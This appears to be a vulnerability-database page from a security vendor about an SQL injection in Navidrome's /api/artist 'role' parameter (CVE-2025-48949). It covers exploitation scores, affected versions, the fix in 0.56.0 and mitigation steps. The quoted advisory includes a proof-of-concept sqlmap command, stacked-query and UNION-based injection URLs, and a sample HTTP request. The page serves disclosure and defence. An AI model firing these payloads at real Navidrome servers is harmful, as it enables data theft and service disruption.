NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

Navidrome allows SQL Injection via role parameterGHSA-5wgp-vjxm-3x2r

Fix: navidrome/navidrome@b19d5f0

GHSA-5wgp-vjxm-3x2r is a SQL Injection vulnerability in github.com/navidrome/navidrome. A fix is available for github.com/navidrome/navidrome — see the affected versions and patch details below.

Also known asCVE-2025-48949GO-2025-3734
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-5wgp-vjxm-3x2r.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk
0.00%0.34%0.67%1.01%0.5%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/navidrome/navidrome

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2

Overview

This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.

Details

  • Vulnerable Component: API endpoint → /api/artist Parameter → role

  • Vulnerability Type: SQL Injection (stacked queries, UNION queries)

  • Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)

  • Impact: Successful exploitation allows an unauthenticated attacker to:

    • Execute arbitrary SQL commands
    • Extract or manipulate sensitive data (e.g., user records, playlists)
    • Potentially escalate privileges or disrupt service availability

Proof of Concept (PoC)

Example Exploit Command:

sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite

Sample Payloads:

  • Stacked Queries:

    http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--

  • UNION-Based Query:

    http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny

Example HTTP Request:

GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/navidrome/navidrome≥ 0.55.0&&< 0.56.00.56.0go get github.com/navidrome/navidrome@v0.56.0

Affected Products

1 product · 1 configurations
Application
navidromenavidrome
≥ 0.55.0 && < 0.56.0
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/navidrome/navidrome, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/navidrome/navidrome to 0.56.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5wgp-vjxm-3x2r is resolved across your whole dependency graph.

  3. Workarounds

    Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Frequently Asked Questions

## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2** ### **Overview** This vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. --- ### **Details** * **Vulnerable Component**: API endpoint → `/api/artist` Parameter → `role` * **Vulnerability Type**: SQL Injection (stacked queries, UNION queries) * **Database Affect
O3 Security · Impact-Aware SCA

Is GHSA-5wgp-vjxm-3x2r in your dependencies?

Find it across Go, including transitive dependencies.

Scan my dependencies How O3 SCA works
Navidrome allows SQL Injection via role parameter